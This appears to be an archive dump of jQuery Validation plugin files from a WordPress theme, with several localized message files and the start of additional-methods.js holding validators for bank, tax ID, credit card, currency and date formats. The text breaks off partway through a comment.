	alphanumeric: "Por favor, forne&ccedil;a somente com letras, n&uacute;meros e sublinhados.",
	bankaccountNL: "Por favor, forne&ccedil;a com um n&uacute;mero de conta banc&aacute;ria v&aacute;lida.",
	bankorgiroaccountNL: "Por favor, forne&ccedil;a um banco v&aacute;lido ou n&uacute;mero de conta.",
	bic: "Por favor, forne&ccedil;a um c&oacute;digo BIC v&aacute;lido.",
	cifES: "Por favor, forne&ccedil;a um c&oacute;digo CIF v&aacute;lido.",
	creditcardtypes: "Por favor, forne&ccedil;a um n&uacute;mero de cart&atilde;o de cr&eacute;dito v&aacute;lido.",
	currency: "Por favor, forne&ccedil;a uma moeda v&aacute;lida.",
	dateFA: "Por favor, forne&ccedil;a uma data correta.",
	dateITA: "Por favor, forne&ccedil;a uma data correta.",
	dateNL: "Por favor, forne&ccedil;a uma data correta.",
	extension: "Por favor, forne&ccedil;a um valor com uma extens&atilde;o v&aacute;lida.",
	giroaccountNL: "Por favor, forne&ccedil;a um n&uacute;mero de conta corrente v&aacute;lido.",
	iban: "Por favor, forne&ccedil;a um c&oacute;digo IBAN v&aacute;lido.",
	integer: "Por favor, forne&ccedil;a um n&uacute;mero n&atilde;o decimal.",
	ipv4: "Por favor, forne&ccedil;a um IPv4 v&aacute;lido.",
	ipv6: "Por favor, forne&ccedil;a um IPv6 v&aacute;lido.",
	lettersonly: "Por favor, forne&ccedil;a apenas com letras.",
	letterswithbasicpunc: "Por favor, forne&ccedil;a apenas letras ou pontua&ccedil;ões.",
	mobileNL: "Por favor, fornece&ccedil;a um n&uacute;mero v&aacute;lido de telefone.",
	mobileUK: "Por favor, fornece&ccedil;a um n&uacute;mero v&aacute;lido de telefone.",
	nieES: "Por favor, forne&ccedil;a um NIE v&aacute;lido.",
	nifES: "Por favor, forne&ccedil;a um NIF v&aacute;lido.",
	nowhitespace: "Por favor, n&atilde;o utilize espa&ccedil;os em branco.",
	pattern: "O formato fornecido &eacute; inv&aacute;lido.",
	phoneNL: "Por favor, forne&ccedil;a um n&uacute;mero de telefone v&aacute;lido.",
	phoneUK: "Por favor, forne&ccedil;a um n&uacute;mero de telefone v&aacute;lido.",
	phoneUS: "Por favor, forne&ccedil;a um n&uacute;mero de telefone v&aacute;lido.",
	phonesUK: "Por favor, forne&ccedil;a um n&uacute;mero de telefone v&aacute;lido.",
	postalCodeCA: "Por favor, forne&ccedil;a um n&uacute;mero de c&oacute;digo postal v&aacute;lido.",
	postalcodeIT: "Por favor, forne&ccedil;a um n&uacute;mero de c&oacute;digo postal v&aacute;lido.",
	postalcodeNL: "Por favor, forne&ccedil;a um n&uacute;mero de c&oacute;digo postal v&aacute;lido.",
	postcodeUK: "Por favor, forne&ccedil;a um n&uacute;mero de c&oacute;digo postal v&aacute;lido.",
	postalcodeBR: "Por favor, forne&ccedil;a um CEP v&aacute;lido.",
	require_from_group: $.validator.format( "Por favor, forne&ccedil;a pelo menos {0} destes campos." ),
	skip_or_fill_minimum: $.validator.format( "Por favor, optar entre ignorar esses campos ou preencher pelo menos {0} deles." ),
	stateUS: "Por favor, forne&ccedil;a um estado v&aacute;lido.",
	strippedminlength: $.validator.format( "Por favor, forne&ccedil;a pelo menos {0} caracteres." ),
	time: "Por favor, forne&ccedil;a um hor&aacute;rio v&aacute;lido, no intervado de 00:00 a 23:59.",
	time12h: "Por favor, forne&ccedil;a um hor&aacute;rio v&aacute;lido, no intervado de 01:00 a 12:59 am/pm.",
	url2: "Por favor, forne&ccedil;a uma URL v&aacute;lida.",
	vinUS: "O n&uacute;mero de identifica&ccedil;&atilde;o de ve&iacute;culo informado (VIN) &eacute; inv&aacute;lido.",
	zipcodeUS: "Por favor, forne&ccedil;a um c&oacute;digo postal americano v&aacute;lido.",
	ziprange: "O c&oacute;digo postal deve estar entre 902xx-xxxx e 905xx-xxxx.",
	cpfBR: "Por favor, forne&ccedil;a um CPF v&aacute;lido.",
	nisBR: "Por favor, forne&ccedil;a um NIS/PIS v&aacute;lido.",
	cnhBR: "Por favor, forne&ccedil;a um CNH v&aacute;lido.",
	cnpjBR: "Por favor, forne&ccedil;a um CNPJ v&aacute;lido."
} );
return $;
}));PK     N\0    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_he.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: HE (Hebrew; עברית)
 */
$.extend( $.validator.messages, {
	required: "השדה הזה הינו שדה חובה",
	remote: "נא לתקן שדה זה",
	email: "נא למלא כתובת דוא\"ל חוקית",
	url: "נא למלא כתובת אינטרנט חוקית",
	date: "נא למלא תאריך חוקי",
	dateISO: "נא למלא תאריך חוקי (ISO)",
	number: "נא למלא מספר",
	digits: "נא למלא רק מספרים",
	creditcard: "נא למלא מספר כרטיס אשראי חוקי",
	equalTo: "נא למלא את אותו ערך שוב",
	extension: "נא למלא ערך עם סיומת חוקית",
	maxlength: $.validator.format( ".נא לא למלא יותר מ- {0} תווים" ),
	minlength: $.validator.format( "נא למלא לפחות {0} תווים" ),
	rangelength: $.validator.format( "נא למלא ערך בין {0} ל- {1} תווים" ),
	range: $.validator.format( "נא למלא ערך בין {0} ל- {1}" ),
	max: $.validator.format( "נא למלא ערך קטן או שווה ל- {0}" ),
	min: $.validator.format( "נא למלא ערך גדול או שווה ל- {0}" )
} );
return $;
}));PK     N\t}    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_lt.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: LT (Lithuanian; lietuvių kalba)
 */
$.extend( $.validator.messages, {
	required: "Šis laukas yra privalomas.",
	remote: "Prašau pataisyti šį lauką.",
	email: "Prašau įvesti teisingą elektroninio pašto adresą.",
	url: "Prašau įvesti teisingą URL.",
	date: "Prašau įvesti teisingą datą.",
	dateISO: "Prašau įvesti teisingą datą (ISO).",
	number: "Prašau įvesti teisingą skaičių.",
	digits: "Prašau naudoti tik skaitmenis.",
	creditcard: "Prašau įvesti teisingą kreditinės kortelės numerį.",
	equalTo: "Prašau įvestį tą pačią reikšmę dar kartą.",
	extension: "Prašau įvesti reikšmę su teisingu plėtiniu.",
	maxlength: $.validator.format( "Prašau įvesti ne daugiau kaip {0} simbolių." ),
	minlength: $.validator.format( "Prašau įvesti bent {0} simbolius." ),
	rangelength: $.validator.format( "Prašau įvesti reikšmes, kurių ilgis nuo {0} iki {1} simbolių." ),
	range: $.validator.format( "Prašau įvesti reikšmę intervale nuo {0} iki {1}." ),
	max: $.validator.format( "Prašau įvesti reikšmę mažesnę arba lygią {0}." ),
	min: $.validator.format( "Prašau įvesti reikšmę didesnę arba lygią {0}." )
} );
return $;
}));PK     N\    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_da.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: DA (Danish; dansk)
 */
$.extend( $.validator.messages, {
	required: "Dette felt er påkrævet.",
	remote: "Ret venligst dette felt.",
	email: "Indtast en gyldig email-adresse.",
	url: "Indtast en gyldig URL.",
	date: "Indtast en gyldig dato.",
	number: "Indtast et tal.",
	digits: "Indtast kun cifre.",
	creditcard: "Indtast et gyldigt kreditkortnummer.",
	equalTo: "Indtast den samme værdi igen.",
	time: "Angiv en gyldig tid mellem kl. 00:00 og 23:59.",
	ipv4: "Angiv venligst en gyldig IPv4-adresse.",
	ipv6: "Angiv venligst en gyldig IPv6-adresse.",
	require_from_group:  $.validator.format( "Angiv mindst {0} af disse felter." ),
	extension: "Indtast venligst en værdi med en gyldig endelse.",
	pattern: "Ugyldigt format.",
	lettersonly: "Angiv venligst kun bogstaver.",
	nowhitespace: "Må ikke indholde mellemrum.",
	maxlength: $.validator.format( "Indtast højst {0} tegn." ),
	minlength: $.validator.format( "Indtast mindst {0} tegn." ),
	rangelength: $.validator.format( "Indtast mindst {0} og højst {1} tegn." ),
	range: $.validator.format( "Angiv en værdi mellem {0} og {1}." ),
	max: $.validator.format( "Angiv en værdi der højst er {0}." ),
	min: $.validator.format( "Angiv en værdi der mindst er {0}." ),
	minWords: $.validator.format( "Indtast venligst mindst {0} ord." ),
	maxWords:  $.validator.format( "Indtast venligst højst {0} ord." ),
	step: $.validator.format( "Angiv en værdi gange {0}." ),
	notEqualTo: "Angiv en anden værdi, værdierne må ikke være det samme.",
	integer: "Angiv et ikke-decimaltal, der er positivt eller negativt."
} );
return $;
}));PK     N\I  I  <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_uk.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: UK (Ukrainian; українська мова)
 */
$.extend( $.validator.messages, {
	required: "Це поле необхідно заповнити.",
	remote: "Будь ласка, введіть правильне значення.",
	email: "Будь ласка, введіть коректну адресу електронної пошти.",
	url: "Будь ласка, введіть коректний URL.",
	date: "Будь ласка, введіть коректну дату.",
	dateISO: "Будь ласка, введіть коректну дату у форматі ISO.",
	number: "Будь ласка, введіть число.",
	digits: "Вводите потрібно лише цифри.",
	creditcard: "Будь ласка, введіть правильний номер кредитної карти.",
	equalTo: "Будь ласка, введіть таке ж значення ще раз.",
	extension: "Будь ласка, виберіть файл з правильним розширенням.",
	maxlength: $.validator.format( "Будь ласка, введіть не більше {0} символів." ),
	minlength: $.validator.format( "Будь ласка, введіть не менше {0} символів." ),
	rangelength: $.validator.format( "Будь ласка, введіть значення довжиною від {0} до {1} символів." ),
	range: $.validator.format( "Будь ласка, введіть число від {0} до {1}." ),
	max: $.validator.format( "Будь ласка, введіть число, менше або рівно {0}." ),
	min: $.validator.format( "Будь ласка, введіть число, більше або рівно {0}." )
} );
return $;
}));PK     N\@    @  inc/dashboard/lib/meta-box/js/validation/i18n/messages_sr_lat.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: SR (Serbian - Latin alphabet; srpski jezik - latinica)
 */
$.extend( $.validator.messages, {
	required: "Polje je obavezno.",
	remote: "Sredite ovo polje.",
	email: "Unesite ispravnu e-mail adresu.",
	url: "Unesite ispravan URL.",
	date: "Unesite ispravan datum.",
	dateISO: "Unesite ispravan datum (ISO).",
	number: "Unesite ispravan broj.",
	digits: "Unesite samo cifre.",
	creditcard: "Unesite ispravan broj kreditne kartice.",
	equalTo: "Unesite istu vrednost ponovo.",
	extension: "Unesite vrednost sa odgovarajućom ekstenzijom.",
	maxlength: $.validator.format( "Unesite manje od {0} karaktera." ),
	minlength: $.validator.format( "Unesite barem {0} karaktera." ),
	rangelength: $.validator.format( "Unesite vrednost dugačku između {0} i {1} karaktera." ),
	range: $.validator.format( "Unesite vrednost između {0} i {1}." ),
	max: $.validator.format( "Unesite vrednost manju ili jednaku {0}." ),
	min: $.validator.format( "Unesite vrednost veću ili jednaku {0}." ),
	step: $.validator.format( "Unesite vrednost koja je umnožak broja {0}." )
} );
return $;
}));PK     N\/I  I  >  inc/dashboard/lib/meta-box/js/validation/additional-methods.jsnu [        /*!
 * jQuery Validation Plugin v1.20.0
 *
 * https://jqueryvalidation.org/
 *
 * Copyright (c) 2023 Jörn Zaefferer
 * Released under the MIT license
 */
(function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "./jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

( function() {

	function stripHtml( value ) {

		// Remove html tags and space chars
		return value.replace( /<.[^<>]*?>/g, " " ).replace( /&nbsp;|&#160;/gi, " " )

		// Remove punctuation
		.replace( /[.(),;:!?%#$'\"_+=\/\-“”’]*/g, "" );
	}

	$.validator.addMethod( "maxWords", function( value, element, params ) {
		return this.optional( element ) || stripHtml( value ).match( /\b\w+\b/g ).length <= params;
	}, $.validator.format( "Please enter {0} words or less." ) );

	$.validator.addMethod( "minWords", function( value, element, params ) {
		return this.optional( element ) || stripHtml( value ).match( /\b\w+\b/g ).length >= params;
	}, $.validator.format( "Please enter at least {0} words." ) );

	$.validator.addMethod( "rangeWords", function( value, element, params ) {
		var valueStripped = stripHtml( value ),
			regex = /\b\w+\b/g;
		return this.optional( element ) || valueStripped.match( regex ).length >= params[ 0 ] && valueStripped.match( regex ).length <= params[ 1 ];
	}, $.validator.format( "Please enter between {0} and {1} words." ) );

}() );

/**
 * This is used in the United States to process payments, deposits,
 * or transfers using the Automated Clearing House (ACH) or Fedwire
 * systems. A very common use case would be to validate a form for
 * an ACH bill payment.
 */
$.validator.addMethod( "abaRoutingNumber", function( value ) {
	var checksum = 0;
	var tokens = value.split( "" );
	var length = tokens.length;

	// Length Check
	if ( length !== 9 ) {
		return false;
	}

	// Calc the checksum
	// https://en.wikipedia.org/wiki/ABA_routing_transit_number
	for ( var i = 0; i < length; i += 3 ) {
		checksum +=	parseInt( tokens[ i ], 10 )     * 3 +
					parseInt( tokens[ i + 1 ], 10 ) * 7 +
					parseInt( tokens[ i + 2 ], 10 );
	}

	// If not zero and divisible by 10 then valid
	if ( checksum !== 0 && checksum % 10 === 0 ) {
		return true;
	}

	return false;
}, "Please enter a valid routing number." );

// Accept a value from a file input based on a required mimetype
$.validator.addMethod( "accept", function( value, element, param ) {

	// Split mime on commas in case we have multiple types we can accept
	var typeParam = typeof param === "string" ? param.replace( /\s/g, "" ) : "image/*",
		optionalValue = this.optional( element ),
		i, file, regex;

	// Element is optional
	if ( optionalValue ) {
		return optionalValue;
	}

	if ( $( element ).attr( "type" ) === "file" ) {

		// Escape string to be used in the regex
		// see: https://stackoverflow.com/questions/3446170/escape-string-for-use-in-javascript-regex
		// Escape also "/*" as "/.*" as a wildcard
		typeParam = typeParam
				.replace( /[\-\[\]\/\{\}\(\)\+\?\.\\\^\$\|]/g, "\\$&" )
				.replace( /,/g, "|" )
				.replace( /\/\*/g, "/.*" );

		// Check if the element has a FileList before checking each file
		if ( element.files && element.files.length ) {
			regex = new RegExp( ".?(" + typeParam + ")$", "i" );
			for ( i = 0; i < element.files.length; i++ ) {
				file = element.files[ i ];

				// Grab the mimetype from the loaded file, verify it matches
				if ( !file.type.match( regex ) ) {
					return false;
				}
			}
		}
	}

	// Either return true because we've validated each file, or because the
	// browser does not support element.files and the FileList feature
	return true;
}, $.validator.format( "Please enter a value with a valid mimetype." ) );

$.validator.addMethod( "alphanumeric", function( value, element ) {
	return this.optional( element ) || /^\w+$/i.test( value );
}, "Letters, numbers, and underscores only please." );

/*
 * Dutch bank account numbers (not 'giro' numbers) have 9 digits
 * and pass the '11 check'.
 * We accept the notation with spaces, as that is common.
 * acceptable: 123456789 or 12 34 56 789
 */
$.validator.addMethod( "bankaccountNL", function( value, element ) {
	if ( this.optional( element ) ) {
		return true;
	}
	if ( !( /^[0-9]{9}|([0-9]{2} ){3}[0-9]{3}$/.test( value ) ) ) {
		return false;
	}

	// Now '11 check'
	var account = value.replace( / /g, "" ), // Remove spaces
		sum = 0,
		len = account.length,
		pos, factor, digit;
	for ( pos = 0; pos < len; pos++ ) {
		factor = len - pos;
		digit = account.substring( pos, pos + 1 );
		sum = sum + factor * digit;
	}
	return sum % 11 === 0;
}, "Please specify a valid bank account number." );

$.validator.addMethod( "bankorgiroaccountNL", function( value, element ) {
	return this.optional( element ) ||
			( $.validator.methods.bankaccountNL.call( this, value, element ) ) ||
			( $.validator.methods.giroaccountNL.call( this, value, element ) );
}, "Please specify a valid bank or giro account number." );

/**
 * BIC is the business identifier code (ISO 9362). This BIC check is not a guarantee for authenticity.
 *
 * BIC pattern: BBBBCCLLbbb (8 or 11 characters long; bbb is optional)
 *
 * Validation is case-insensitive. Please make sure to normalize input yourself.
 *
 * BIC definition in detail:
 * - First 4 characters - bank code (only letters)
 * - Next 2 characters - ISO 3166-1 alpha-2 country code (only letters)
 * - Next 2 characters - location code (letters and digits)
 *   a. shall not start with '0' or '1'
 *   b. second character must be a letter ('O' is not allowed) or digit ('0' for test (therefore not allowed), '1' denoting passive participant, '2' typically reverse-billing)
 * - Last 3 characters - branch code, optional (shall not start with 'X' except in case of 'XXX' for primary office) (letters and digits)
 */
$.validator.addMethod( "bic", function( value, element ) {
    return this.optional( element ) || /^([A-Z]{6}[A-Z2-9][A-NP-Z1-9])(X{3}|[A-WY-Z0-9][A-Z0-9]{2})?$/.test( value.toUpperCase() );
}, "Please specify a valid BIC code." );

/*
 * Código de identificación fiscal ( CIF ) is the tax identification code for Spanish legal entities
 * Further rules can be found in Spanish on http://es.wikipedia.org/wiki/C%C3%B3digo_de_identificaci%C3%B3n_fiscal
 *
 * Spanish CIF structure:
 *
 * [ T ][ P ][ P ][ N ][ N ][ N ][ N ][ N ][ C ]
 *
 * Where:
 *
 * T: 1 character. Kind of Organization Letter: [ABCDEFGHJKLMNPQRSUVW]
 * P: 2 characters. Province.
 * N: 5 characters. Secuencial Number within the province.
 * C: 1 character. Control Digit: [0-9A-J].
 *
 * [ T ]: Kind of Organizations. Possible values:
 *
 *   A. Corporations
 *   B. LLCs
 *   C. General partnerships
 *   D. Companies limited partnerships
 *   E. Communities of goods
 *   F. Cooperative Societies
 *   G. Associations
 *   H. Communities of homeowners in horizontal property regime
 *   J. Civil Societies
 *   K. Old format
 *   L. Old format
 *   M. Old format
 *   N. Nonresident entities
 *   P. Local authorities
 *   Q. Autonomous bodies, state or not, and the like, and congregations and religious institutions
 *   R. Congregations and religious institutions (since 2008 ORDER EHA/451/2008)
 *   S. Organs of State Administration and regions
 *   V. Agrarian Transformation
 *   W. Permanent establishments of non-resident in Spain
 *
 * [ C ]: Control Digit. It can be a number or a letter depending on T value:
 * [ T ]  -->  [ C ]
 * ------    ----------
 *   A         Number
 *   B         Number
 *   E         Number
 *   H         Number
 *   K         Letter
 *   P         Letter
 *   Q         Letter
 *   S         Letter
 *
 */
$.validator.addMethod( "cifES", function( value, element ) {
	"use strict";

	if ( this.optional( element ) ) {
		return true;
	}

	var cifRegEx = new RegExp( /^([ABCDEFGHJKLMNPQRSUVW])(\d{7})([0-9A-J])$/gi );
	var letter  = value.substring( 0, 1 ), // [ T ]
		number  = value.substring( 1, 8 ), // [ P ][ P ][ N ][ N ][ N ][ N ][ N ]
		control = value.substring( 8, 9 ), // [ C ]
		all_sum = 0,
		even_sum = 0,
		odd_sum = 0,
		i, n,
		control_digit,
		control_letter;

	function isOdd( n ) {
		return n % 2 === 0;
	}

	// Quick format test
	if ( value.length !== 9 || !cifRegEx.test( value ) ) {
		return false;
	}

	for ( i = 0; i < number.length; i++ ) {
		n = parseInt( number[ i ], 10 );

		// Odd positions
		if ( isOdd( i ) ) {

			// Odd positions are multiplied first.
			n *= 2;

			// If the multiplication is bigger than 10 we need to adjust
			odd_sum += n < 10 ? n : n - 9;

		// Even positions
		// Just sum them
		} else {
			even_sum += n;
		}
	}

	all_sum = even_sum + odd_sum;
	control_digit = ( 10 - ( all_sum ).toString().substr( -1 ) ).toString();
	control_digit = parseInt( control_digit, 10 ) > 9 ? "0" : control_digit;
	control_letter = "JABCDEFGHI".substr( control_digit, 1 ).toString();

	// Control must be a digit
	if ( letter.match( /[ABEH]/ ) ) {
		return control === control_digit;

	// Control must be a letter
	} else if ( letter.match( /[KPQS]/ ) ) {
		return control === control_letter;
	}

	// Can be either
	return control === control_digit || control === control_letter;

}, "Please specify a valid CIF number." );

/*
 * Brazillian CNH number (Carteira Nacional de Habilitacao) is the License Driver number.
 * CNH numbers have 11 digits in total: 9 numbers followed by 2 check numbers that are being used for validation.
 */
$.validator.addMethod( "cnhBR", function( value ) {

  // Removing special characters from value
  value = value.replace( /([~!@#$%^&*()_+=`{}\[\]\-|\\:;'<>,.\/? ])+/g, "" );

  // Checking value to have 11 digits only
  if ( value.length !== 11 ) {
    return false;
  }

  var sum = 0, dsc = 0, firstChar,
		firstCN, secondCN, i, j, v;

  firstChar = value.charAt( 0 );

  if ( new Array( 12 ).join( firstChar ) === value ) {
    return false;
  }

  // Step 1 - using first Check Number:
  for ( i = 0, j = 9, v = 0; i < 9; ++i, --j ) {
    sum += +( value.charAt( i ) * j );
  }

  firstCN = sum % 11;
  if ( firstCN >= 10 ) {
    firstCN = 0;
    dsc = 2;
  }

  sum = 0;
  for ( i = 0, j = 1, v = 0; i < 9; ++i, ++j ) {
    sum += +( value.charAt( i ) * j );
  }

  secondCN = sum % 11;
  if ( secondCN >= 10 ) {
    secondCN = 0;
  } else {
    secondCN = secondCN - dsc;
  }

  return ( String( firstCN ).concat( secondCN ) === value.substr( -2 ) );

}, "Please specify a valid CNH number." );

/*
 * Brazillian value number (Cadastrado de Pessoas Juridica).
 * value numbers have 14 digits in total: 12 numbers followed by 2 check numbers that are being used for validation.
 */
$.validator.addMethod( "cnpjBR", function( value, element ) {
	"use strict";

	if ( this.optional( element ) ) {
		return true;
	}

	// Removing no number
	value = value.replace( /[^\d]+/g, "" );

	// Checking value to have 14 digits only
	if ( value.length !== 14 ) {
		return false;
	}

	// Elimina values invalidos conhecidos
	if ( value === "00000000000000" ||
		value === "11111111111111" ||
		value === "22222222222222" ||
		value === "33333333333333" ||
		value === "44444444444444" ||
		value === "55555555555555" ||
		value === "66666666666666" ||
		value === "77777777777777" ||
		value === "88888888888888" ||
		value === "99999999999999" ) {
		return false;
	}

	// Valida DVs
	var tamanho = ( value.length - 2 );
	var numeros = value.substring( 0, tamanho );
	var digitos = value.substring( tamanho );
	var soma = 0;
	var pos = tamanho - 7;

	for ( var i = tamanho; i >= 1; i-- ) {
		soma += numeros.charAt( tamanho - i ) * pos--;
		if ( pos < 2 ) {
			pos = 9;
		}
	}

	var resultado = soma % 11 < 2 ? 0 : 11 - soma % 11;

	if ( resultado !== parseInt( digitos.charAt( 0 ), 10 ) ) {
		return false;
	}

	tamanho = tamanho + 1;
	numeros = value.substring( 0, tamanho );
	soma = 0;
	pos = tamanho - 7;

	for ( var il = tamanho; il >= 1; il-- ) {
		soma += numeros.charAt( tamanho - il ) * pos--;
		if ( pos < 2 ) {
			pos = 9;
		}
	}

	resultado = soma % 11 < 2 ? 0 : 11 - soma % 11;

	if ( resultado !== parseInt( digitos.charAt( 1 ), 10 ) ) {
		return false;
	}

	return true;

}, "Please specify a CNPJ value number." );

/*
 * Brazillian CPF number (Cadastrado de Pessoas Físicas) is the equivalent of a Brazilian tax registration number.
 * CPF numbers have 11 digits in total: 9 numbers followed by 2 check numbers that are being used for validation.
 */
$.validator.addMethod( "cpfBR", function( value, element ) {
	"use strict";

	if ( this.optional( element ) ) {
		return true;
	}

	// Removing special characters from value
	value = value.replace( /([~!@#$%^&*()_+=`{}\[\]\-|\\:;'<>,.\/? ])+/g, "" );

	// Checking value to have 11 digits only
	if ( value.length !== 11 ) {
		return false;
	}

	var sum = 0,
		firstCN, secondCN, checkResult, i;

	firstCN = parseInt( value.substring( 9, 10 ), 10 );
	secondCN = parseInt( value.substring( 10, 11 ), 10 );

	checkResult = function( sum, cn ) {
		var result = ( sum * 10 ) % 11;
		if ( ( result === 10 ) || ( result === 11 ) ) {
			result = 0;
		}
		return ( result === cn );
	};

	// Checking for dump data
	if ( value === "" ||
		value === "00000000000" ||
		value === "11111111111" ||
		value === "22222222222" ||
		value === "33333333333" ||
		value === "44444444444" ||
		value === "55555555555" ||
		value === "66666666666" ||
		value === "77777777777" ||
		value === "88888888888" ||
		value === "99999999999"
	) {
		return false;
	}

	// Step 1 - using first Check Number:
	for ( i = 1; i <= 9; i++ ) {
		sum = sum + parseInt( value.substring( i - 1, i ), 10 ) * ( 11 - i );
	}

	// If first Check Number (CN) is valid, move to Step 2 - using second Check Number:
	if ( checkResult( sum, firstCN ) ) {
		sum = 0;
		for ( i = 1; i <= 10; i++ ) {
			sum = sum + parseInt( value.substring( i - 1, i ), 10 ) * ( 12 - i );
		}
		return checkResult( sum, secondCN );
	}
	return false;

}, "Please specify a valid CPF number." );

// https://jqueryvalidation.org/creditcard-method/
// based on https://en.wikipedia.org/wiki/Luhn_algorithm
$.validator.addMethod( "creditcard", function( value, element ) {
	if ( this.optional( element ) ) {
		return "dependency-mismatch";
	}

	// Accept only spaces, digits and dashes
	if ( /[^0-9 \-]+/.test( value ) ) {
		return false;
	}

	var nCheck = 0,
		nDigit = 0,
		bEven = false,
		n, cDigit;

	value = value.replace( /\D/g, "" );

	// Basing min and max length on
	// https://dev.ean.com/general-info/valid-card-types/
	if ( value.length < 13 || value.length > 19 ) {
		return false;
	}

	for ( n = value.length - 1; n >= 0; n-- ) {
		cDigit = value.charAt( n );
		nDigit = parseInt( cDigit, 10 );
		if ( bEven ) {
			if ( ( nDigit *= 2 ) > 9 ) {
				nDigit -= 9;
			}
		}

		nCheck += nDigit;
		bEven = !bEven;
	}

	return ( nCheck % 10 ) === 0;
}, "Please enter a valid credit card number." );

/* NOTICE: Modified version of Castle.Components.Validator.CreditCardValidator
 * Redistributed under the Apache License 2.0 at http://www.apache.org/licenses/LICENSE-2.0
 * Valid Types: mastercard, visa, amex, dinersclub, enroute, discover, jcb, unknown, all (overrides all other settings)
 */
$.validator.addMethod( "creditcardtypes", function( value, element, param ) {
	if ( /[^0-9\-]+/.test( value ) ) {
		return false;
	}

	value = value.replace( /\D/g, "" );

	var validTypes = 0x0000;

	if ( param.mastercard ) {
		validTypes |= 0x0001;
	}
	if ( param.visa ) {
		validTypes |= 0x0002;
	}
	if ( param.amex ) {
		validTypes |= 0x0004;
	}
	if ( param.dinersclub ) {
		validTypes |= 0x0008;
	}
	if ( param.enroute ) {
		validTypes |= 0x0010;
	}
	if ( param.discover ) {
		validTypes |= 0x0020;
	}
	if ( param.jcb ) {
		validTypes |= 0x0040;
	}
	if ( param.unknown ) {
		validTypes |= 0x0080;
	}
	if ( param.all ) {
		validTypes = 0x0001 | 0x0002 | 0x0004 | 0x0008 | 0x0010 | 0x0020 | 0x0040 | 0x0080;
	}
	if ( validTypes & 0x0001 && ( /^(5[12345])/.test( value ) || /^(2[234567])/.test( value ) ) ) { // Mastercard
		return value.length === 16;
	}
	if ( validTypes & 0x0002 && /^(4)/.test( value ) ) { // Visa
		return value.length === 16;
	}
	if ( validTypes & 0x0004 && /^(3[47])/.test( value ) ) { // Amex
		return value.length === 15;
	}
	if ( validTypes & 0x0008 && /^(3(0[012345]|[68]))/.test( value ) ) { // Dinersclub
		return value.length === 14;
	}
	if ( validTypes & 0x0010 && /^(2(014|149))/.test( value ) ) { // Enroute
		return value.length === 15;
	}
	if ( validTypes & 0x0020 && /^(6011)/.test( value ) ) { // Discover
		return value.length === 16;
	}
	if ( validTypes & 0x0040 && /^(3)/.test( value ) ) { // Jcb
		return value.length === 16;
	}
	if ( validTypes & 0x0040 && /^(2131|1800)/.test( value ) ) { // Jcb
		return value.length === 15;
	}
	if ( validTypes & 0x0080 ) { // Unknown
		return true;
	}
	return false;
}, "Please enter a valid credit card number." );

/**
 * Validates currencies with any given symbols by @jameslouiz
 * Symbols can be optional or required. Symbols required by default
 *
 * Usage examples:
 *  currency: ["£", false] - Use false for soft currency validation
 *  currency: ["$", false]
 *  currency: ["RM", false] - also works with text based symbols such as "RM" - Malaysia Ringgit etc
 *
 *  <input class="currencyInput" name="currencyInput">
 *
 * Soft symbol checking
 *  currencyInput: {
 *     currency: ["$", false]
 *  }
 *
 * Strict symbol checking (default)
 *  currencyInput: {
 *     currency: "$"
 *     //OR
 *     currency: ["$", true]
 *  }
 *
 * Multiple Symbols
 *  currencyInput: {
 *     currency: "$,£,¢"
 *  }
 */
$.validator.addMethod( "currency", function( value, element, param ) {
    var isParamString = typeof param === "string",
        symbol = isParamString ? param : param[ 0 ],
        soft = isParamString ? true : param[ 1 ],
        regex;

    symbol = symbol.replace( /,/g, "" );
    symbol = soft ? symbol + "]" : symbol + "]?";
    regex = "^[" + symbol + "([1-9]{1}[0-9]{0,2}(\\,[0-9]{3})*(\\.[0-9]{0,2})?|[1-9]{1}[0-9]{0,}(\\.[0-9]{0,2})?|0(\\.[0-9]{0,2})?|(\\.[0-9]{1,2})?)$";
    regex = new RegExp( regex );
    return this.optional( element ) || regex.test( value );

}, "Please specify a valid currency." );

$.validator.addMethod( "dateFA", function( value, element ) {
	return this.optional( element ) || /^[1-4]\d{3}\/((0?[1-6]\/((3[0-1])|([1-2][0-9])|(0?[1-9])))|((1[0-2]|(0?[7-9]))\/(30|([1-2][0-9])|(0?[1-9]))))$/.test( value );
}, $.validator.messages.date );

/**
 * Return true, if the value is a valid date, also making this formal check dd/mm/yyyy.
 *
 * @example $.validator.methods.date("01/01/1900")
 * @result true
 *
 * @example $.validator.methods.date("01/13/1990")
 * @result false
 *
 * @example $.validator.methods.date("01.01.1900")
 * @result false
 *
 * @example <input name="pippo" class="{dateITA:true}" />
 * @desc Declares an optional input element whose value must be a valid date.
 *
